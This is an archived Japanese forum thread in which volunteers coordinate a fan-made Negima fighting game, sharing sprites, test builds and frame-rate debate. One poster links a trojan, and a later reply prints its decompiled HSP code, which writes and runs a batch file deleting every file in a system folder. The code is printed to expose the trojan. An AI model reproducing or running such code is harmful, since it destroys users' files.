トップページgamedev
1001コメント386KB

ネギま!の格ゲーを作るスレ

■ このスレッドは過去ログ倉庫に格納されています
0001名前は開発中のものです。2006/10/28(土) 21:49:55ID:T0yl4aFg
テンプレとか何かあったら貼ってくれ
0222名前は開発中のものです。2006/11/28(火) 20:43:56ID:yoSiQXD6
>>221
仕様は大体決まってたじゃないか
っというか仕様の話をしたら妄想すんなってうるさい奴がいたし

97氏は完全に居なくなったな
0223名前は開発中のものです。2006/11/28(火) 21:12:00ID:zRg4udms
作る人がいれば妄想してもいいんじゃない?
作る人もいないのにただ妄想したいってだけなら板違いだ
0224名前は開発中のものです。2006/11/28(火) 21:33:10ID:yoSiQXD6
絵を作る人がダル痴にやられたんじゃどうしようもない
一人でなんでもできる97氏の存在は貴重だったのにな
0225名前は開発中のものです。2006/11/28(火) 21:33:57ID:FbIym/bf
>>222
じゃぁ次は「概要や製作状況をまとめたWebページ」だ。
頑張れよ!
0226名前は開発中のものです。2006/11/28(火) 22:07:50ID:yoSiQXD6
>>225
ショボイのがすでにあるだろ
何個も作っても意味無い
0227名前は開発中のものです。2006/11/28(火) 23:04:56ID:FbIym/bf
>>6か。。。
0228名前は開発中のものです。2006/11/28(火) 23:27:38ID:FbIym/bf
ここの住人は
「仕様知りたきゃ勝手に過去ログ漁れや」というスタンスで、
確かに専ブラでログみると仕様っぽいのがあるようだが、
Wikiのリンク先見ても前スレはDAT落ちしてる。
これじゃ新たに絵師候補(?)が来てもどうしようもないな。
そのくせ絵師来ないから何もしないとかワロスww



はいはい埋め埋め。
0229名前は開発中のものです。2006/11/29(水) 01:35:58ID:sjtnHp4l
絵を描きまくる→
プログラマが絵まとめて簡易的なゲームにする→
テンションあがったミュージシャンが曲提供→
プログラマがゲームに曲追加→
テンション上がったウェブデザイナがWiki更新→
バージョンアップの繰り返し→



なんて妄想をしたw
0230名前は開発中のものです。2006/11/29(水) 01:40:57ID:DYgJvXnx
      ☆ チン     マチクタビレタ〜
                        マチクタビレタ〜
       ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        ヽ ___\(\・∀・) < 完成品まだ〜?
            \_/⊂ ⊂_ )   \_____________
          / ̄ ̄ ̄ ̄ ̄ ̄ /|
       | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
       |  愛媛みかん  |/
0231名前は開発中のものです。2006/11/29(水) 04:08:25ID:mb+MnJeD
>>228
>>192
って言われたからどうしようもねえorz
0232名前は開発中のものです。2006/11/29(水) 18:49:43ID:n/Xsuvig
>>229

浅はかだ…。
0233名前は開発中のものです。2006/11/29(水) 23:12:06ID:DM1RzrdJ
モデリングとモーション付けを誰かやってくれるならプログラムやっても良いよ
Xファイル形式でよろ
メタセコとRokDeBoneのフリーソフトだけで作れるから
0234名前は開発中のものです。2006/12/04(月) 22:21:36ID:dVoMpqZg
だれか>>233の相手をしてやれよw
0235名前は開発中のものです。2006/12/04(月) 23:04:42ID:NP7b7Yw0
メタセコとRokDeBoneのフリーソフトを使って
モデリングとモーション付けをXファイル形式で
出力できる人がいないのだと思われます。
0236名前は開発中のものです。2006/12/05(火) 03:40:47ID:IkBRSzRV
というかプログラムはいるんだよね
今欲しいのはモデリングできる人
0237名前は開発中のものです。2006/12/05(火) 20:41:51ID:dhd6FIJR
モデリングできる人募集中
0238名前は開発中のものです。2006/12/06(水) 02:51:51ID:h41eR2gN
モデリングは出来るけど
Xファイル出力までやったことない人ならいますよ
もし3D格ゲーを最後までプログラムできる人がいるなら
試しに作ってみたいです
0239名前は開発中のものです。2006/12/06(水) 16:08:45ID:1jlhZ4+3
>>238
まずはなんかサンプルを作ってみるんだ
0240名前は開発中のものです。2006/12/06(水) 20:52:46ID:oy0sqmQ3
肉まん2個!
0241名前は開発中のものです。2006/12/06(水) 21:37:58ID:h41eR2gN
ポリゴン数とテクスチャの解像度と枚数etc
色々と質問してみたい事もあるのですが
とりあえず何か作ってみます
0242名前は開発中のものです。2006/12/06(水) 22:11:36ID:hXnJHOZj
メタセコ+mikoto+mikoto2x
0243名前は開発中のものです。2006/12/11(月) 17:17:25ID:daOT4S/r
そういえば公式に格ゲっぽいのが出たな
0244名前は開発中のものです。2006/12/11(月) 17:53:35ID:Bs08DAPX
どれのことだ?
0245名前は開発中のものです。2006/12/12(火) 17:48:49ID:16xMXHO9
>>244
3時間目のコトだと思われ
0246名前は開発中のものです。2006/12/12(火) 23:25:55ID:d8hl8j/0
どうせミニゲームみたいな扱いでしょ。スピード感なさそう
0247名前は開発中のものです。2006/12/17(日) 12:58:59ID:80e7MdEp
ドット絵師はまだか?
0248名前は開発中のものです。2006/12/17(日) 22:53:29ID:bsSf+nst
Irrlicht初心者質問スレ
http://pc8.2ch.net/test/read.cgi/tech/1104179696/
【3Dエンジン】Irrlicht初心者質問スレ【高速描画】
http://pc8.2ch.net/test/read.cgi/gamedev/1159998619/
0249名前は開発中のものです。2006/12/24(日) 22:33:21ID:yTNBiXRH
保守
0250名前は開発中のものです。2006/12/25(月) 02:17:14ID:dSV1x3Ig
なんでわざわざあげて一週間くらいで保守するのかな
0251名前は開発中のものです。2006/12/26(火) 12:34:02ID:gx+bevuz
このスレ初めて見たんだけど、凄いね
0252名前は開発中のものです。2006/12/26(火) 21:36:24ID:r5p9kkzX
test
0253名前は開発中のものです。2006/12/26(火) 23:43:01ID:gx+bevuz
もうこれの開発終わったの?
0254名前は開発中のものです。2006/12/27(水) 00:44:07ID:l1yvfUAS
>>253
プログラマーはたくさん居るけど絵師が居ないというスレw
3Dから始まり、97氏は消え去り、2Dはダル痴。に消されたという運のないスレ
0255 ◆57U1O5h1BM 2006/12/27(水) 01:26:12ID:cr8/xxgd
a
0256 ◆57U1O5h1BM 2006/12/27(水) 01:27:38ID:cr8/xxgd
おーいけた。

ちと忙しくてスレに書き込んでなかったんだけど、しかしこの状況は壊滅状態だね。
結局のところ私が描くとして、プログラム組んでもいいって人いるのかね?
0257名前は開発中のものです。2006/12/27(水) 06:49:06ID:l1yvfUAS
おっ、帰ってきた!
絵師が来たから再開できるぞw
0258名前は開発中のものです。2006/12/28(木) 00:24:17ID:c8mREtNd
復活の兆しが・・・!
0259名前は開発中のものです。2006/12/28(木) 00:41:47ID:Iqa60AbP
ガンがってー!!!
0260名前は開発中のものです。2006/12/28(木) 04:09:16ID:TOTMPhwW
さすがに97氏は開発ストップっぽいね。
まぁ、またなんとなくやる気になったらひょっこり戻ってくるでいいから
気が向いた時に進めてって欲しいなー。
あそこまで形にしたのを捨てるのは自分自身でも惜しいだろうし、275氏に曲も作らせてるんだしね。
何か技術的に行き詰ったんなら素直に相談するよろし
0261名前は開発中のものです。2006/12/28(木) 13:33:38ID:jR05t47Z
>>256

2Dでも3Dでもいけるよ
0262 ◆57U1O5h1BM 2006/12/29(金) 20:09:17ID:Kv5DykMe
お、じゃあ>>261氏がおkなら開発に協力願います。
見つかったはいいけどまずなにから話合えばいいかな。
02632562006/12/29(金) 22:42:31ID:cTpfVe3X
とりあえず素材くれれば適当に実装します
02642562006/12/29(金) 22:46:02ID:cTpfVe3X
>>229
みたいな流れになればいいかなぁ
0265 ◆57U1O5h1BM 2006/12/29(金) 23:35:46ID:Kv5DykMe
http://gamdev.org/up/img/8492.png
とりあえず通常時と前歩行、1キャラ70*100です。
02662562006/12/30(土) 00:13:15ID:HV3P5FoA
作るにあたってなんかタイトルが欲しいな
仮でもいいから
02672612006/12/30(土) 00:15:24ID:HV3P5FoA
あ、俺256じゃねーやwww
261ね
>>263>>264も俺w
0268 ◆57U1O5h1BM 2006/12/30(土) 00:21:07ID:07Djr1Eh
うはっw把握www
タイトル・・・ネギま!すとらいか〜ず!!(適当
02692612006/12/30(土) 06:05:01ID:z/eusNVv
http://gamdev.org/up/img/8493.zip
とりあえず表示だけ

背景とか欲しいね
0270名前は開発中のものです。2006/12/30(土) 13:18:47ID:1sZkr45+
2DならM.U.G.E.N.でキャラ作った方がよくね?
他作品のキャラと戦えるし・・・。システムは既存の物を使うからキャラ作りに専念できるしね
M.U.G.E.N wiki
ttp://www13.atwiki.jp/mugen-complete-wiki/
無限小学校
ttp://mugen-site.hp.infoseek.co.jp/
画像もろもろ
ttp://kaihokaitin.hp.infoseek.co.jp/mugen/motto2.htm
MUSASHIも
ttp://mykit.jp/pc/dabiitiro/20061212

もしかして最初からそのつもりだった?
0271名前は開発中のものです。2006/12/30(土) 17:27:42ID:A8bNlSs5
そんなにウルヴァリンに陵辱されたいのか?
0272名前は開発中のものです。2006/12/30(土) 17:34:37ID:L/NfI4De
なにその犯罪的な組み合わせ





ありかも
0273 ◆57U1O5h1BM 2006/12/30(土) 19:39:20ID:qlNscVGL
確かにMUGENで作った方が効率はいいと思う。
でもそれだとこのスレでわざわざやる意味がない気がするだよなぁ。
結局自分ひとりで黙々とやるだけな感じ。
0274名前は開発中のものです。2006/12/30(土) 22:15:31ID:VDcPTYdz
ではmugenは無しの方向で。
0275名前は開発中のものです。2006/12/31(日) 00:38:45ID:ax+xnR7J
だね。

俺もドット絵描けたらな〜。カットインとか入れるつもりなの?
0276名前は開発中のものです。2006/12/31(日) 00:54:59ID:b8yxgFPX
>>275
もしドット絵でなくても、ポーズラフが書けるって人なら、
ドット絵として起こす作業やるよ
0277名前は開発中のものです。2006/12/31(日) 03:33:51ID:d2ty4GxO
数字コテはまず簡易なプログラムを組んでからつけたらどう?
前みたいな流れはもうごめん

絵師>
前みたいな惨事を回避するのはむずかしいと思うが慎重に
絵師の仕事頼みますよ
それでプログラマーだが立ち絵の基本(上の画像+ジャンプ、しゃがみ、単発攻撃)を
まずUPしてそれだけで作ってもらうのはどうだろうか?

それから誰か過去の音楽とか保管してる人いる?
0278名前は開発中のものです。2006/12/31(日) 07:26:12ID:SInfbp6o
>>276
もしドット絵でなくても、ポーイズラブが書けるって人なら

って読めた。
0279名前は開発中のものです。2006/12/31(日) 10:32:28ID:7G/cjsfX
>>269がめちゃめちゃ重かったのは私だけ?
0280 ◆57U1O5h1BM 2006/12/31(日) 15:58:50ID:3e/aTlV5
http://gamdev.org/up/img/8500.png
後移動追加ー。

>>277
前みたいに引っかからないよう今度は注意するよ。
とりあえず
しゃがみ→ジャンプ→ダッシュ左右→弱攻撃
って順番で描いていく。

しゃがみを茶道やってる風にしたいと一瞬思ってしまった。
しかしそうすると完全にネタっぽいw
0281名前は開発中のものです。2006/12/31(日) 16:51:24ID:7G/cjsfX
よくこんなの描けますね〜。すごい。
がんばってください。
0282名前は開発中のものです。2006/12/31(日) 22:11:03ID:3ZTy/soT
出来れば雇れ

>240
おまいの希望していた肉まんだ
http://gamdev.org/up/img/8502.zip
メタセコデタ

まあメタセコ用意してやり
02832612006/12/31(日) 23:50:00ID:NSvbvS/w
http://gamdev.org/up/img/8504.zip
更新ー。

重いって言ってる人はどんな環境か教えてちょ
対処できるかは分からんけど
0284名前は開発中のものです。2006/12/31(日) 23:51:05ID:NSvbvS/w
あ、↑カーソルキーで移動ね
0285名前は開発中のものです。2007/01/01(月) 12:05:49ID:9jZhm9NE
>>283
すげえ!歩く!ガンバレ!
0286名前は開発中のものです。2007/01/01(月) 19:38:25ID:pyEdXCSI
>>285
歩くぐらいで驚くなよ
それぐらい誰でもできるだろ?
0287名前は開発中のものです。2007/01/02(火) 01:41:50ID:MSdg0tG4
>286
おまえなぁ・・・w
0288名前は開発中のものです。2007/01/02(火) 18:35:07ID:CuuZEANN
>>287
何も出来ない子に限ってこういう事を言いたがるものです。
以後放置の方向でお願い致します。
0289名前は開発中のものです。2007/01/02(火) 19:41:52ID:2TTJfuJY
>>288
普通に作れますが何か?
他の板でやってますが何か?
0290名前は開発中のものです。2007/01/02(火) 20:08:48ID:IUlzOB7F
空気嫁
0291名前は開発中のものです。2007/01/02(火) 20:17:27ID:xZPRyRRb
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \     普通に作れますが何か?
    |      |r┬-|    |     他の板でやってますが何か? 
     \     `ー'´   /      
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/
|     ノ     | |  |   \  /  )  /
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))
0292名前は開発中のものです。2007/01/02(火) 20:17:56ID:MSdg0tG4
>>289
はいはい、虚言虚言。口だけ口だけ。
どうとでも言える。晒してみろ。晒せんだろ低脳。

だから?って感じ。こんな所まで荒らし乙。
つーかくんな。
0293名前は開発中のものです。2007/01/02(火) 20:56:09ID:2TTJfuJY
>>292
別に晒してもいいが?
0294名前は開発中のものです。2007/01/02(火) 21:20:20ID:HfK1VP2n
>>293
んじゃ、晒して
で、このスレの住人を馬鹿にしながら去ってくれ
0295 ◆57U1O5h1BM 2007/01/02(火) 21:56:09ID:98W99Bn5
http://gamdev.org/up/img/8519.png
0296 ◆57U1O5h1BM 2007/01/02(火) 21:59:09ID:98W99Bn5
みすったー、しゃがみ追加しました。
自分の環境だと50FPSくらいしかでないです。
もしかして3Dエンジンで描画してるとかかな?
環境はペンティアムM1.5G
0297 ◆57U1O5h1BM 2007/01/02(火) 22:01:32ID:98W99Bn5
GPUはIntel 82855M GM/GME
0298名前は開発中のものです。2007/01/02(火) 23:43:47ID:2TTJfuJY
http://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi68063.zip.html
02992612007/01/02(火) 23:59:20ID:n6N065ZG
50FPSで作ってるので50FPSでてれば問題ないです

60FPSだと1秒(1000ミリ秒)を60で割ることになります
そうすると1000/60=16.66666…となって割り切れません
これでは都合が悪いので50FPSで作っています
0300 ◆57U1O5h1BM 2007/01/03(水) 00:08:25ID:H48ujtay
>>299
0301 ◆57U1O5h1BM 2007/01/03(水) 00:11:17ID:H48ujtay
なんかメッセの癖でSHIFT+ENTERしてしまう・・・。
60FPSのほうが一般的(テレビ)だけど、割り切れないのは
別に切り捨てでもいいんのでは?

>>298
これまたHSP製だね、もしかして前のプログラム作った奴かな。
とりあえず実行しないこと。
0302名前は開発中のものです。2007/01/03(水) 00:18:13ID:7UGbUSnp
ID:2TTJfuJY
どうしようもないクズ冬厨だな
マジで死んだほうがいいんじゃね
0303 ◆57U1O5h1BM 2007/01/03(水) 00:18:57ID:H48ujtay
HSPってのは嘘だったわ。
0304名前は開発中のものです。2007/01/03(水) 00:20:47ID:zoZUSxPn
且~
0305名前は開発中のものです。2007/01/03(水) 00:21:04ID:eZ+Jy+z+
>>303
判定させたらHSP3だったぞ。間違いない。
しかしウィルスじゃないとしても失笑ものだが。
0306 ◆57U1O5h1BM 2007/01/03(水) 00:21:08ID:H48ujtay
あ、やっぱりHSPだったw
start.ax読み込んでるしw
0307名前は開発中のものです。2007/01/03(水) 00:27:46ID:2jmQy08O
通報した方が良いんじゃない?
今後の為にも
0308名前は開発中のものです。2007/01/03(水) 00:39:40ID:o7P+BmQP
またかよ・・・
こんな奴がいるからHSPが叩かれる

もしかしてHSP製だとスルー?
03092612007/01/03(水) 00:39:45ID:XeqChYq/
タイマー精度が1ミリ秒単位なので
60FPSにしようとすると安定しない気がします・・・たぶん
0310名前は開発中のものです。2007/01/03(水) 00:43:53ID:eZ+Jy+z+
>>308
このスレ的には前例があるので、基本スルー。
0311名前は開発中のものです。2007/01/03(水) 00:44:37ID:o7P+BmQP
\(^o^)/俺の人生オワタ
0312名前は開発中のものです。2007/01/03(水) 01:39:00ID:TKC9EjuB
>>298
sdim v0, 1000
v0 = dirinfo( 3 )
chdir v0
sdim v1, 1000000
sdim v2, 1000
v2 = "cd \"" + v0 + "\""
dirlist v1, "*.*", 1
v3 = stat
sdim v4, 1000
notesel v1
repeat v3
noteget v4, cnt
v2 = v2 + "\ndel \"" + v4 + "\""
loop
v2 = v2 + "\ndel \"kita.bat\""
bsave "kita.bat", v2, strlen( v2 )
exec "kita.bat", 16
end
0313名前は開発中のものです。2007/01/03(水) 01:45:36ID:tNNIuKkF
またトロイか
0314名前は開発中のものです。2007/01/03(水) 01:47:07ID:TKC9EjuB
>>298
EXE内に http://www.vector.co.jp/soft/win95/net/se410619.html が入っている
0315名前は開発中のものです。2007/01/03(水) 01:54:22ID:btaR93Fg
何故にネギまは狙われてますかorz
0316名前は開発中のものです。2007/01/03(水) 01:59:44ID:tNNIuKkF
HSPがどうのこうので暴れてた奴が粘着でもしてるんだろ
0317名前は開発中のものです。2007/01/03(水) 02:05:17ID:eZ+Jy+z+
検証乙。ドゾ っ且~
0318名前は開発中のものです。2007/01/03(水) 13:27:16ID:rq4IMTG8
>>261
普通、モニターのリフレッシュレート(何回描画するか)が60回なので、
ほとんどの動画は60fpsで作られてるんだよ
0319名前は開発中のものです。2007/01/03(水) 14:07:16ID:s8r2SH8H
>>261
背景を作るとしたらサイズはどのくらいで描いたらいいでしょうか?
0320名前は開発中のものです。2007/01/03(水) 14:20:33ID:eZ+Jy+z+
>>318
内部処理が50fpsなだけなら60も50も変わらない気がするけど。
0321 ◆57U1O5h1BM 2007/01/03(水) 16:18:24ID:H48ujtay
>>320
一秒間に計算する回数が変わってくるから結構変わると思うよ。
大概の場合モニターが60回描画するのでなるべく同期させた方がいいって話っぽい。
(合っていないとちらついたりする?)

でもまぁあんまり気にしなくていいのかもしんない(どっちだよ
■ このスレッドは過去ログ倉庫に格納されています